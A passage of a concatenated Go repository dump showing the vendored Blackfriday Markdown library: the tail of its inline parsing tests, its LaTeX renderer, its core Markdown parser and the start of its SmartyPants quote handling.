      \n", "[text\nwith a newline](/link/)\n", "

      text\nwith a newline

      \n", "[text in brackets] [followed](/by a link/)\n", "

      [text in brackets] followed

      \n", "[link with\\] a closing bracket](/url/)\n", "

      link with] a closing bracket

      \n", "[link with\\[ an opening bracket](/url/)\n", "

      link with[ an opening bracket

      \n", "[link with\\) a closing paren](/url/)\n", "

      link with) a closing paren

      \n", "[link with\\( an opening paren](/url/)\n", "

      link with( an opening paren

      \n", "[link]( with whitespace)\n", "

      link

      \n", "[link]( with whitespace )\n", "

      link

      \n", "[![image](someimage)](with image)\n", "

      \"image\"\n

      \n", "[link](url \"one quote)\n", "

      link

      \n", "[link](url 'one quote)\n", "

      link

      \n", "[link]()\n", "

      link

      \n", "[link & ampersand](/url/)\n", "

      link & ampersand

      \n", "[link & ampersand](/url/)\n", "

      link & ampersand

      \n", "[link](/url/&query)\n", "

      link

      \n", "[[t]](/t)\n", "

      [t]

      \n", } doTestsInline(t, tests) } func TestReferenceLink(t *testing.T) { var tests = []string{ "[link][ref]\n", "

      [link][ref]

      \n", "[link][ref]\n [ref]: /url/ \"title\"\n", "

      link

      \n", "[link][ref]\n [ref]: /url/\n", "

      link

      \n", " [ref]: /url/\n", "", " [ref]: /url/\n[ref2]: /url/\n [ref3]: /url/\n", "", " [ref]: /url/\n[ref2]: /url/\n [ref3]: /url/\n [4spaces]: /url/\n", "
      [4spaces]: /url/\n
      \n", "[hmm](ref2)\n [ref]: /url/\n[ref2]: /url/\n [ref3]: /url/\n", "

      hmm

      \n", "[ref]\n", "

      [ref]

      \n", "[ref]\n [ref]: /url/ \"title\"\n", "

      ref

      \n", } doTestsInline(t, tests) } func TestTags(t *testing.T) { var tests = []string{ "a tag\n", "

      a tag

      \n", "tag\n", "

      tag

      \n", "mismatch\n", "

      mismatch

      \n", "a tag\n", "

      a tag

      \n", } doTestsInline(t, tests) } func TestAutoLink(t *testing.T) { var tests = []string{ "http://foo.com/\n", "

      http://foo.com/

      \n", "1 http://foo.com/\n", "

      1 http://foo.com/

      \n", "1http://foo.com/\n", "

      1http://foo.com/

      \n", "1.http://foo.com/\n", "

      1.http://foo.com/

      \n", "1. http://foo.com/\n", "
        \n
      1. http://foo.com/
      2. \n
      \n", "-http://foo.com/\n", "

      -http://foo.com/

      \n", "- http://foo.com/\n", "\n", "_http://foo.com/\n", "

      _http://foo.com/

      \n", "令狐http://foo.com/\n", "

      令狐http://foo.com/

      \n", "令狐 http://foo.com/\n", "

      令狐 http://foo.com/

      \n", "ahttp://foo.com/\n", "

      ahttp://foo.com/

      \n", ">http://foo.com/\n", "
      \n

      http://foo.com/

      \n
      \n", "> http://foo.com/\n", "
      \n

      http://foo.com/

      \n
      \n", "go to \n", "

      go to http://foo.com/

      \n", "a secure \n", "

      a secure https://link.org

      \n", "an email \n", "

      an email some@one.com

      \n", "an email \n", "

      an email some@one.com

      \n", "an email \n", "

      an email some@one.com

      \n", "an ftp \n", "

      an ftp ftp://old.com

      \n", "an ftp \n", "

      an ftp ftp:old.com

      \n", "a link with \n", "

      a link with " + "http://new.com?query=foo&bar

      \n", "quotes mean a tag \n", "

      quotes mean a tag

      \n", "quotes mean a tag \n", "

      quotes mean a tag

      \n", "unless escaped \n", "

      unless escaped " + "http://new.com?query="foo"&bar

      \n", "even a > can be escaped &etc>\n", "

      even a > can be escaped " + "http://new.com?q=>&etc

      \n", } doTestsInline(t, tests) } func TestFootnotes(t *testing.T) { tests := []string{ "testing footnotes.[^a]\n\n[^a]: This is the note\n", `

      testing footnotes.1


      1. This is the note
      `, `testing long[^b] notes. [^b]: Paragraph 1 Paragraph 2 ` + "```\n\tsome code\n\t```" + ` Paragraph 3 No longer in the footnote `, `

      testing long1 notes.

      No longer in the footnote


      1. Paragraph 1

        Paragraph 2

        some code

        Paragraph 3

      `, `testing[^c] multiple[^d] notes. [^c]: this is [note] c omg [^d]: this is note d what happens here [note]: /link/c `, `

      testing1 multiple2 notes.

      omg

      what happens here


      1. this is note c
      2. this is note d
      `, "testing inline^[this is the note] notes.\n", `

      testing inline1 notes.


      1. this is the note
      `, "testing multiple[^1] types^[inline note] of notes[^2]\n\n[^2]: the second deferred note\n[^1]: the first deferred note\n\n\twhich happens to be a block\n", `

      testing multiple1 types2 of notes3


      1. the first deferred note

        which happens to be a block

      2. inline note
      3. the second deferred note
      `, `This is a footnote[^1]^[and this is an inline footnote] [^1]: the footnote text. may be multiple paragraphs. `, `

      This is a footnote12


      1. the footnote text.

        may be multiple paragraphs.

      2. and this is an inline footnote
      `, "empty footnote[^]\n\n[^]: fn text", "

      empty footnote1

      \n
      \n\n
      \n\n
        \n
      1. fn text\n
      2. \n
      \n
      \n", } doTestsInlineParam(t, tests, EXTENSION_FOOTNOTES, 0) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/latex.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // // LaTeX rendering backend // // package blackfriday import ( "bytes" ) // Latex is a type that implements the Renderer interface for LaTeX output. // // Do not create this directly, instead use the LatexRenderer function. type Latex struct { } // LatexRenderer creates and configures a Latex object, which // satisfies the Renderer interface. // // flags is a set of LATEX_* options ORed together (currently no such options // are defined). func LatexRenderer(flags int) Renderer { return &Latex{} } // render code chunks using verbatim, or listings if we have a language func (options *Latex) BlockCode(out *bytes.Buffer, text []byte, lang string) { if lang == "" { out.WriteString("\n\\begin{verbatim}\n") } else { out.WriteString("\n\\begin{lstlisting}[language=") out.WriteString(lang) out.WriteString("]\n") } out.Write(text) if lang == "" { out.WriteString("\n\\end{verbatim}\n") } else { out.WriteString("\n\\end{lstlisting}\n") } } func (options *Latex) BlockQuote(out *bytes.Buffer, text []byte) { out.WriteString("\n\\begin{quotation}\n") out.Write(text) out.WriteString("\n\\end{quotation}\n") } func (options *Latex) BlockHtml(out *bytes.Buffer, text []byte) { // a pretty lame thing to do... out.WriteString("\n\\begin{verbatim}\n") out.Write(text) out.WriteString("\n\\end{verbatim}\n") } func (options *Latex) Header(out *bytes.Buffer, text func() bool, level int) { marker := out.Len() switch level { case 1: out.WriteString("\n\\section{") case 2: out.WriteString("\n\\subsection{") case 3: out.WriteString("\n\\subsubsection{") case 4: out.WriteString("\n\\paragraph{") case 5: out.WriteString("\n\\subparagraph{") case 6: out.WriteString("\n\\textbf{") } if !text() { out.Truncate(marker) return } out.WriteString("}\n") } func (options *Latex) HRule(out *bytes.Buffer) { out.WriteString("\n\\HRule\n") } func (options *Latex) List(out *bytes.Buffer, text func() bool, flags int) { marker := out.Len() if flags&LIST_TYPE_ORDERED != 0 { out.WriteString("\n\\begin{enumerate}\n") } else { out.WriteString("\n\\begin{itemize}\n") } if !text() { out.Truncate(marker) return } if flags&LIST_TYPE_ORDERED != 0 { out.WriteString("\n\\end{enumerate}\n") } else { out.WriteString("\n\\end{itemize}\n") } } func (options *Latex) ListItem(out *bytes.Buffer, text []byte, flags int) { out.WriteString("\n\\item ") out.Write(text) } func (options *Latex) Paragraph(out *bytes.Buffer, text func() bool) { marker := out.Len() out.WriteString("\n") if !text() { out.Truncate(marker) return } out.WriteString("\n") } func (options *Latex) Table(out *bytes.Buffer, header []byte, body []byte, columnData []int) { out.WriteString("\n\\begin{tabular}{") for _, elt := range columnData { switch elt { case TABLE_ALIGNMENT_LEFT: out.WriteByte('l') case TABLE_ALIGNMENT_RIGHT: out.WriteByte('r') default: out.WriteByte('c') } } out.WriteString("}\n") out.Write(header) out.WriteString(" \\\\\n\\hline\n") out.Write(body) out.WriteString("\n\\end{tabular}\n") } func (options *Latex) TableRow(out *bytes.Buffer, text []byte) { if out.Len() > 0 { out.WriteString(" \\\\\n") } out.Write(text) } func (options *Latex) TableCell(out *bytes.Buffer, text []byte, align int) { if out.Len() > 0 { out.WriteString(" & ") } out.Write(text) } // TODO: this func (options *Latex) Footnotes(out *bytes.Buffer, text func() bool) { } func (options *Latex) FootnoteItem(out *bytes.Buffer, name, text []byte, flags int) { } func (options *Latex) AutoLink(out *bytes.Buffer, link []byte, kind int) { out.WriteString("\\href{") if kind == LINK_TYPE_EMAIL { out.WriteString("mailto:") } out.Write(link) out.WriteString("}{") out.Write(link) out.WriteString("}") } func (options *Latex) CodeSpan(out *bytes.Buffer, text []byte) { out.WriteString("\\texttt{") escapeSpecialChars(out, text) out.WriteString("}") } func (options *Latex) DoubleEmphasis(out *bytes.Buffer, text []byte) { out.WriteString("\\textbf{") out.Write(text) out.WriteString("}") } func (options *Latex) Emphasis(out *bytes.Buffer, text []byte) { out.WriteString("\\textit{") out.Write(text) out.WriteString("}") } func (options *Latex) Image(out *bytes.Buffer, link []byte, title []byte, alt []byte) { if bytes.HasPrefix(link, []byte("http://")) || bytes.HasPrefix(link, []byte("https://")) { // treat it like a link out.WriteString("\\href{") out.Write(link) out.WriteString("}{") out.Write(alt) out.WriteString("}") } else { out.WriteString("\\includegraphics{") out.Write(link) out.WriteString("}") } } func (options *Latex) LineBreak(out *bytes.Buffer) { out.WriteString(" \\\\\n") } func (options *Latex) Link(out *bytes.Buffer, link []byte, title []byte, content []byte) { out.WriteString("\\href{") out.Write(link) out.WriteString("}{") out.Write(content) out.WriteString("}") } func (options *Latex) RawHtmlTag(out *bytes.Buffer, tag []byte) { } func (options *Latex) TripleEmphasis(out *bytes.Buffer, text []byte) { out.WriteString("\\textbf{\\textit{") out.Write(text) out.WriteString("}}") } func (options *Latex) StrikeThrough(out *bytes.Buffer, text []byte) { out.WriteString("\\sout{") out.Write(text) out.WriteString("}") } // TODO: this func (options *Latex) FootnoteRef(out *bytes.Buffer, ref []byte, id int) { } func needsBackslash(c byte) bool { for _, r := range []byte("_{}%$&\\~") { if c == r { return true } } return false } func escapeSpecialChars(out *bytes.Buffer, text []byte) { for i := 0; i < len(text); i++ { // directly copy normal characters org := i for i < len(text) && !needsBackslash(text[i]) { i++ } if i > org { out.Write(text[org:i]) } // escape a character if i >= len(text) { break } out.WriteByte('\\') out.WriteByte(text[i]) } } func (options *Latex) Entity(out *bytes.Buffer, entity []byte) { // TODO: convert this into a unicode character or something out.Write(entity) } func (options *Latex) NormalText(out *bytes.Buffer, text []byte) { escapeSpecialChars(out, text) } // header and footer func (options *Latex) DocumentHeader(out *bytes.Buffer) { out.WriteString("\\documentclass{article}\n") out.WriteString("\n") out.WriteString("\\usepackage{graphicx}\n") out.WriteString("\\usepackage{listings}\n") out.WriteString("\\usepackage[margin=1in]{geometry}\n") out.WriteString("\\usepackage[utf8]{inputenc}\n") out.WriteString("\\usepackage{verbatim}\n") out.WriteString("\\usepackage[normalem]{ulem}\n") out.WriteString("\\usepackage{hyperref}\n") out.WriteString("\n") out.WriteString("\\hypersetup{colorlinks,%\n") out.WriteString(" citecolor=black,%\n") out.WriteString(" filecolor=black,%\n") out.WriteString(" linkcolor=black,%\n") out.WriteString(" urlcolor=black,%\n") out.WriteString(" pdfstartview=FitH,%\n") out.WriteString(" breaklinks=true,%\n") out.WriteString(" pdfauthor={Blackfriday Markdown Processor v") out.WriteString(VERSION) out.WriteString("}}\n") out.WriteString("\n") out.WriteString("\\newcommand{\\HRule}{\\rule{\\linewidth}{0.5mm}}\n") out.WriteString("\\addtolength{\\parskip}{0.5\\baselineskip}\n") out.WriteString("\\parindent=0pt\n") out.WriteString("\n") out.WriteString("\\begin{document}\n") } func (options *Latex) DocumentFooter(out *bytes.Buffer) { out.WriteString("\n\\end{document}\n") } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/markdown.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // // Markdown parsing and processing // // // Blackfriday markdown processor. // // Translates plain text with simple formatting rules into HTML or LaTeX. package blackfriday import ( "bytes" "unicode/utf8" ) const VERSION = "1.1" // These are the supported markdown parsing extensions. // OR these values together to select multiple extensions. const ( EXTENSION_NO_INTRA_EMPHASIS = 1 << iota // ignore emphasis markers inside words EXTENSION_TABLES // render tables EXTENSION_FENCED_CODE // render fenced code blocks EXTENSION_AUTOLINK // detect embedded URLs that are not explicitly marked EXTENSION_STRIKETHROUGH // strikethrough text using ~~test~~ EXTENSION_LAX_HTML_BLOCKS // loosen up HTML block parsing rules EXTENSION_SPACE_HEADERS // be strict about prefix header rules EXTENSION_HARD_LINE_BREAK // translate newlines into line breaks EXTENSION_TAB_SIZE_EIGHT // expand tabs to eight spaces instead of four EXTENSION_FOOTNOTES // Pandoc-style footnotes EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK // No need to insert an empty line to start a (code, quote, order list, unorder list)block ) // These are the possible flag values for the link renderer. // Only a single one of these values will be used; they are not ORed together. // These are mostly of interest if you are writing a new output format. const ( LINK_TYPE_NOT_AUTOLINK = iota LINK_TYPE_NORMAL LINK_TYPE_EMAIL ) // These are the possible flag values for the ListItem renderer. // Multiple flag values may be ORed together. // These are mostly of interest if you are writing a new output format. const ( LIST_TYPE_ORDERED = 1 << iota LIST_ITEM_CONTAINS_BLOCK LIST_ITEM_BEGINNING_OF_LIST LIST_ITEM_END_OF_LIST ) // These are the possible flag values for the table cell renderer. // Only a single one of these values will be used; they are not ORed together. // These are mostly of interest if you are writing a new output format. const ( TABLE_ALIGNMENT_LEFT = 1 << iota TABLE_ALIGNMENT_RIGHT TABLE_ALIGNMENT_CENTER = (TABLE_ALIGNMENT_LEFT | TABLE_ALIGNMENT_RIGHT) ) // The size of a tab stop. const ( TAB_SIZE_DEFAULT = 4 TAB_SIZE_EIGHT = 8 ) // These are the tags that are recognized as HTML block tags. // Any of these can be included in markdown text without special escaping. var blockTags = map[string]bool{ "p": true, "dl": true, "h1": true, "h2": true, "h3": true, "h4": true, "h5": true, "h6": true, "ol": true, "ul": true, "del": true, "div": true, "ins": true, "pre": true, "code": true, "table": true, "tr": true, "td": true, "blockquote": true, } func SetDefaultBlockTags(tag string, permit bool) { blockTags[tag] = permit } // Renderer is the rendering interface. // This is mostly of interest if you are implementing a new rendering format. // // When a byte slice is provided, it contains the (rendered) contents of the // element. // // When a callback is provided instead, it will write the contents of the // respective element directly to the output buffer and return true on success. // If the callback returns false, the rendering function should reset the // output buffer as though it had never been called. // // Currently Html and Latex implementations are provided type Renderer interface { // block-level callbacks BlockCode(out *bytes.Buffer, text []byte, lang string) BlockQuote(out *bytes.Buffer, text []byte) BlockHtml(out *bytes.Buffer, text []byte) Header(out *bytes.Buffer, text func() bool, level int) HRule(out *bytes.Buffer) List(out *bytes.Buffer, text func() bool, flags int) ListItem(out *bytes.Buffer, text []byte, flags int) Paragraph(out *bytes.Buffer, text func() bool) Table(out *bytes.Buffer, header []byte, body []byte, columnData []int) TableRow(out *bytes.Buffer, text []byte) TableCell(out *bytes.Buffer, text []byte, flags int) Footnotes(out *bytes.Buffer, text func() bool) FootnoteItem(out *bytes.Buffer, name, text []byte, flags int) // Span-level callbacks AutoLink(out *bytes.Buffer, link []byte, kind int) CodeSpan(out *bytes.Buffer, text []byte) DoubleEmphasis(out *bytes.Buffer, text []byte) Emphasis(out *bytes.Buffer, text []byte) Image(out *bytes.Buffer, link []byte, title []byte, alt []byte) LineBreak(out *bytes.Buffer) Link(out *bytes.Buffer, link []byte, title []byte, content []byte) RawHtmlTag(out *bytes.Buffer, tag []byte) TripleEmphasis(out *bytes.Buffer, text []byte) StrikeThrough(out *bytes.Buffer, text []byte) FootnoteRef(out *bytes.Buffer, ref []byte, id int) // Low-level callbacks Entity(out *bytes.Buffer, entity []byte) NormalText(out *bytes.Buffer, text []byte) // Header and footer DocumentHeader(out *bytes.Buffer) DocumentFooter(out *bytes.Buffer) } // Callback functions for inline parsing. One such function is defined // for each character that triggers a response when parsing inline data. type inlineParser func(p *parser, out *bytes.Buffer, data []byte, offset int) int // Parser holds runtime state used by the parser. // This is constructed by the Markdown function. type parser struct { r Renderer refs map[string]*reference inlineCallback [256]inlineParser flags int nesting int maxNesting int insideLink bool // Footnotes need to be ordered as well as available to quickly check for // presence. If a ref is also a footnote, it's stored both in refs and here // in notes. Slice is nil if footnotes not enabled. notes []*reference blockTags map[string]bool } // // // Public interface // // // MarkdownBasic is a convenience function for simple rendering. // It processes markdown input with no extensions enabled. func MarkdownBasic(input []byte) []byte { // set up the HTML renderer htmlFlags := HTML_USE_XHTML renderer := HtmlRenderer(htmlFlags, "", "") // set up the parser extensions := 0 return Markdown(input, renderer, extensions) } // Call Markdown with most useful extensions enabled // MarkdownCommon is a convenience function for simple rendering. // It processes markdown input with common extensions enabled, including: // // * Smartypants processing with smart fractions and LaTeX dashes // // * Intra-word emphasis suppression // // * Tables // // * Fenced code blocks // // * Autolinking // // * Strikethrough support // // * Strict header parsing func MarkdownCommon(input []byte) []byte { // set up the HTML renderer htmlFlags := 0 htmlFlags |= HTML_USE_XHTML htmlFlags |= HTML_USE_SMARTYPANTS htmlFlags |= HTML_SMARTYPANTS_FRACTIONS htmlFlags |= HTML_SMARTYPANTS_LATEX_DASHES htmlFlags |= HTML_SKIP_SCRIPT renderer := HtmlRenderer(htmlFlags, "", "") // set up the parser extensions := 0 extensions |= EXTENSION_NO_INTRA_EMPHASIS extensions |= EXTENSION_TABLES extensions |= EXTENSION_FENCED_CODE extensions |= EXTENSION_AUTOLINK extensions |= EXTENSION_STRIKETHROUGH extensions |= EXTENSION_SPACE_HEADERS return Markdown(input, renderer, extensions) } // Markdown is the main rendering function. // It parses and renders a block of markdown-encoded text. // The supplied Renderer is used to format the output, and extensions dictates // which non-standard extensions are enabled. // // To use the supplied Html or LaTeX renderers, see HtmlRenderer and // LatexRenderer, respectively. func Markdown(input []byte, renderer Renderer, extensions int, args ...interface{}) []byte { // no point in parsing if we can't render if renderer == nil { return nil } // fill in the render structure p := new(parser) p.r = renderer p.flags = extensions p.refs = make(map[string]*reference) p.maxNesting = 16 p.insideLink = false // register inline parsers p.inlineCallback['*'] = emphasis p.inlineCallback['_'] = emphasis if extensions&EXTENSION_STRIKETHROUGH != 0 { p.inlineCallback['~'] = emphasis } p.inlineCallback['`'] = codeSpan p.inlineCallback['\n'] = lineBreak p.inlineCallback['['] = link p.inlineCallback['<'] = leftAngle p.inlineCallback['\\'] = escape p.inlineCallback['&'] = entity if extensions&EXTENSION_AUTOLINK != 0 { p.inlineCallback[':'] = autoLink } if extensions&EXTENSION_FOOTNOTES != 0 { p.notes = make([]*reference, 0) } p.blockTags = make(map[string]bool, len(blockTags)) for tag, value := range blockTags { p.blockTags[tag] = value } if len(args) > 0 { if maps, ok := args[0].(map[string]bool); ok { for t, v := range maps { p.blockTags[t] = v } } } first := firstPass(p, input) second := secondPass(p, first) return second } // first pass: // - extract references // - expand tabs // - normalize newlines // - copy everything else func firstPass(p *parser, input []byte) []byte { var out bytes.Buffer tabSize := TAB_SIZE_DEFAULT if p.flags&EXTENSION_TAB_SIZE_EIGHT != 0 { tabSize = TAB_SIZE_EIGHT } beg, end := 0, 0 for beg < len(input) { // iterate over lines if end = isReference(p, input[beg:], tabSize); end > 0 { beg += end } else { // skip to the next line end = beg for end < len(input) && input[end] != '\n' && input[end] != '\r' { end++ } // add the line body if present if end > beg { expandTabs(&out, input[beg:end], tabSize) } out.WriteByte('\n') if end < len(input) && input[end] == '\r' { end++ } if end < len(input) && input[end] == '\n' { end++ } beg = end } } // empty input? if out.Len() == 0 { out.WriteByte('\n') } return out.Bytes() } // second pass: actual rendering func secondPass(p *parser, input []byte) []byte { var output bytes.Buffer p.r.DocumentHeader(&output) p.block(&output, input) if p.flags&EXTENSION_FOOTNOTES != 0 && len(p.notes) > 0 { p.r.Footnotes(&output, func() bool { flags := LIST_ITEM_BEGINNING_OF_LIST for _, ref := range p.notes { var buf bytes.Buffer if ref.hasBlock { flags |= LIST_ITEM_CONTAINS_BLOCK p.block(&buf, ref.title) } else { p.inline(&buf, ref.title) } p.r.FootnoteItem(&output, ref.link, buf.Bytes(), flags) flags &^= LIST_ITEM_BEGINNING_OF_LIST | LIST_ITEM_CONTAINS_BLOCK } return true }) } p.r.DocumentFooter(&output) if p.nesting != 0 { panic("Nesting level did not end at zero") } return output.Bytes() } // // Link references // // This section implements support for references that (usually) appear // as footnotes in a document, and can be referenced anywhere in the document. // The basic format is: // // [1]: http://www.google.com/ "Google" // [2]: http://www.github.com/ "Github" // // Anywhere in the document, the reference can be linked by referring to its // label, i.e., 1 and 2 in this example, as in: // // This library is hosted on [Github][2], a git hosting site. // // Actual footnotes as specified in Pandoc and supported by some other Markdown // libraries such as php-markdown are also taken care of. They look like this: // // This sentence needs a bit of further explanation.[^note] // // [^note]: This is the explanation. // // Footnotes should be placed at the end of the document in an ordered list. // Inline footnotes such as: // // Inline footnotes^[Not supported.] also exist. // // are not yet supported. // References are parsed and stored in this struct. type reference struct { link []byte title []byte noteId int // 0 if not a footnote ref hasBlock bool } // Check whether or not data starts with a reference link. // If so, it is parsed and stored in the list of references // (in the render struct). // Returns the number of bytes to skip to move past it, // or zero if the first line is not a reference. func isReference(p *parser, data []byte, tabSize int) int { // up to 3 optional leading spaces if len(data) < 4 { return 0 } i := 0 for i < 3 && data[i] == ' ' { i++ } noteId := 0 // id part: anything but a newline between brackets if data[i] != '[' { return 0 } i++ if p.flags&EXTENSION_FOOTNOTES != 0 { if data[i] == '^' { // we can set it to anything here because the proper noteIds will // be assigned later during the second pass. It just has to be != 0 noteId = 1 i++ } } idOffset := i for i < len(data) && data[i] != '\n' && data[i] != '\r' && data[i] != ']' { i++ } if i >= len(data) || data[i] != ']' { return 0 } idEnd := i // spacer: colon (space | tab)* newline? (space | tab)* i++ if i >= len(data) || data[i] != ':' { return 0 } i++ for i < len(data) && (data[i] == ' ' || data[i] == '\t') { i++ } if i < len(data) && (data[i] == '\n' || data[i] == '\r') { i++ if i < len(data) && data[i] == '\n' && data[i-1] == '\r' { i++ } } for i < len(data) && (data[i] == ' ' || data[i] == '\t') { i++ } if i >= len(data) { return 0 } var ( linkOffset, linkEnd int titleOffset, titleEnd int lineEnd int raw []byte hasBlock bool ) if p.flags&EXTENSION_FOOTNOTES != 0 && noteId != 0 { linkOffset, linkEnd, raw, hasBlock = scanFootnote(p, data, i, tabSize) lineEnd = linkEnd } else { linkOffset, linkEnd, titleOffset, titleEnd, lineEnd = scanLinkRef(p, data, i) } if lineEnd == 0 { return 0 } // a valid ref has been found ref := &reference{ noteId: noteId, hasBlock: hasBlock, } if noteId > 0 { // reusing the link field for the id since footnotes don't have links ref.link = data[idOffset:idEnd] // if footnote, it's not really a title, it's the contained text ref.title = raw } else { ref.link = data[linkOffset:linkEnd] ref.title = data[titleOffset:titleEnd] } // id matches are case-insensitive id := string(bytes.ToLower(data[idOffset:idEnd])) p.refs[id] = ref return lineEnd } func scanLinkRef(p *parser, data []byte, i int) (linkOffset, linkEnd, titleOffset, titleEnd, lineEnd int) { // link: whitespace-free sequence, optionally between angle brackets if data[i] == '<' { i++ } linkOffset = i for i < len(data) && data[i] != ' ' && data[i] != '\t' && data[i] != '\n' && data[i] != '\r' { i++ } linkEnd = i if data[linkOffset] == '<' && data[linkEnd-1] == '>' { linkOffset++ linkEnd-- } // optional spacer: (space | tab)* (newline | '\'' | '"' | '(' ) for i < len(data) && (data[i] == ' ' || data[i] == '\t') { i++ } if i < len(data) && data[i] != '\n' && data[i] != '\r' && data[i] != '\'' && data[i] != '"' && data[i] != '(' { return } // compute end-of-line if i >= len(data) || data[i] == '\r' || data[i] == '\n' { lineEnd = i } if i+1 < len(data) && data[i] == '\r' && data[i+1] == '\n' { lineEnd++ } // optional (space|tab)* spacer after a newline if lineEnd > 0 { i = lineEnd + 1 for i < len(data) && (data[i] == ' ' || data[i] == '\t') { i++ } } // optional title: any non-newline sequence enclosed in '"() alone on its line if i+1 < len(data) && (data[i] == '\'' || data[i] == '"' || data[i] == '(') { i++ titleOffset = i // look for EOL for i < len(data) && data[i] != '\n' && data[i] != '\r' { i++ } if i+1 < len(data) && data[i] == '\n' && data[i+1] == '\r' { titleEnd = i + 1 } else { titleEnd = i } // step back i-- for i > titleOffset && (data[i] == ' ' || data[i] == '\t') { i-- } if i > titleOffset && (data[i] == '\'' || data[i] == '"' || data[i] == ')') { lineEnd = titleEnd titleEnd = i } } return } // The first bit of this logic is the same as (*parser).listItem, but the rest // is much simpler. This function simply finds the entire block and shifts it // over by one tab if it is indeed a block (just returns the line if it's not). // blockEnd is the end of the section in the input buffer, and contents is the // extracted text that was shifted over one tab. It will need to be rendered at // the end of the document. func scanFootnote(p *parser, data []byte, i, indentSize int) (blockStart, blockEnd int, contents []byte, hasBlock bool) { if i == 0 || len(data) == 0 { return } // skip leading whitespace on first line for i < len(data) && data[i] == ' ' { i++ } blockStart = i // find the end of the line blockEnd = i for i < len(data) && data[i-1] != '\n' { i++ } // get working buffer var raw bytes.Buffer // put the first line into the working buffer raw.Write(data[blockEnd:i]) blockEnd = i // process the following lines containsBlankLine := false gatherLines: for blockEnd < len(data) { i++ // find the end of this line for i < len(data) && data[i-1] != '\n' { i++ } // if it is an empty line, guess that it is part of this item // and move on to the next line if p.isEmpty(data[blockEnd:i]) > 0 { containsBlankLine = true blockEnd = i continue } n := 0 if n = isIndented(data[blockEnd:i], indentSize); n == 0 { // this is the end of the block. // we don't want to include this last line in the index. break gatherLines } // if there were blank lines before this one, insert a new one now if containsBlankLine { raw.WriteByte('\n') containsBlankLine = false } // get rid of that first tab, write to buffer raw.Write(data[blockEnd+n : i]) hasBlock = true blockEnd = i } if data[blockEnd-1] != '\n' { raw.WriteByte('\n') } contents = raw.Bytes() return } // // // Miscellaneous helper functions // // // Test if a character is a punctuation symbol. // Taken from a private function in regexp in the stdlib. func ispunct(c byte) bool { for _, r := range []byte("!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~") { if c == r { return true } } return false } // Test if a character is a whitespace character. func isspace(c byte) bool { return c == ' ' || c == '\t' || c == '\n' || c == '\r' || c == '\f' || c == '\v' } // Test if a character is letter. func isletter(c byte) bool { return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') } // Test if a character is a letter or a digit. // TODO: check when this is looking for ASCII alnum and when it should use unicode func isalnum(c byte) bool { return (c >= '0' && c <= '9') || isletter(c) } // Replace tab characters with spaces, aligning to the next TAB_SIZE column. // always ends output with a newline func expandTabs(out *bytes.Buffer, line []byte, tabSize int) { // first, check for common cases: no tabs, or only tabs at beginning of line i, prefix := 0, 0 slowcase := false for i = 0; i < len(line); i++ { if line[i] == '\t' { if prefix == i { prefix++ } else { slowcase = true break } } } // no need to decode runes if all tabs are at the beginning of the line if !slowcase { for i = 0; i < prefix*tabSize; i++ { out.WriteByte(' ') } out.Write(line[prefix:]) return } // the slow case: we need to count runes to figure out how // many spaces to insert for each tab column := 0 i = 0 for i < len(line) { start := i for i < len(line) && line[i] != '\t' { _, size := utf8.DecodeRune(line[i:]) i += size column++ } if i > start { out.Write(line[start:i]) } if i >= len(line) { break } for { out.WriteByte(' ') column++ if column%tabSize == 0 { break } } i++ } } // Find if a line counts as indented or not. // Returns number of characters the indent is (0 = not indented). func isIndented(data []byte, indentSize int) int { if len(data) == 0 { return 0 } if data[0] == '\t' { return 1 } if len(data) < indentSize { return 0 } for i := 0; i < indentSize; i++ { if data[i] != ' ' { return 0 } } return indentSize } // Create a url-safe slug for fragments func slugify(in []byte) []byte { if len(in) == 0 { return in } out := make([]byte, 0, len(in)) sym := false for _, ch := range in { if isalnum(ch) { sym = false out = append(out, ch) } else if sym { continue } else { out = append(out, '-') sym = true } } var a, b int var ch byte for a, ch = range out { if ch != '-' { break } } for b = len(out) - 1; b > 0; b-- { if out[b] != '-' { break } } return out[a : b+1] } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/smartypants.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // // SmartyPants rendering // // package blackfriday import ( "bytes" ) type smartypantsData struct { inSingleQuote bool inDoubleQuote bool } func wordBoundary(c byte) bool { return c == 0 || isspace(c) || ispunct(c) } func tolower(c byte) byte { if c >= 'A' && c <= 'Z' { return c - 'A' + 'a' } return c } func isdigit(c byte) bool { return c >= '0' && c <= '9' } func smartQuoteHelper(out *bytes.Buffer, previousChar byte, nextChar byte, quote byte, isOpen *bool) bool { // edge of the buffer is likely to be a tag that we don't get to see, // so we treat it like text sometimes // enumerate all sixteen possibilities for (previousChar, nextChar) // each can be one of {0, space, punct, other} switch { case previousChar == 0 && nextChar == 0: // context is not any help here, so toggle *isOpen = !*isOpen case isspace(previousChar) && nextChar == 0: // [ "] might be [ "foo...] *isOpen = true case ispunct(previousChar) && nextChar == 0: // [!"] hmm... could be [Run!"] or [("...] *isOpen = false case /* isnormal(previousChar) && */ nextChar == 0: // [a"] is probably a close *isOpen = false case previousChar == 0 && isspace(nextChar): // [" ] might be [...foo" ] *isOpen = false case isspace(previousChar) && isspace(nextChar): // [ " ] context is not any help here, so toggle *isOpen = !*isOpen case ispunct(previousChar) && isspace(nextChar): // [!" ] is probably a close *isOpen = false case /* isnormal(previousChar) && */ isspace(nextChar): // [a" ] this is one of the easy cases *isOpen = false case previousChar == 0 && ispunct(nextChar): // ["!] hmm... could be ["$1.95] or ["!...] *isOpen = false case isspace(previousChar) && ispunct(nextChar): // [ "!] looks more like [ "$1.95] *isOpen = true case ispunct(previousChar) && ispunct(nextChar): // [!"!] context is not any help here, so toggle *isOpen = !*isOpen case /* isnormal(previousChar) && */ ispunct(nextChar): // [a"!] is probably a close *isOpen = false case previousChar == 0 /* && isnormal(nextChar) */ : // ["a] is probably an open 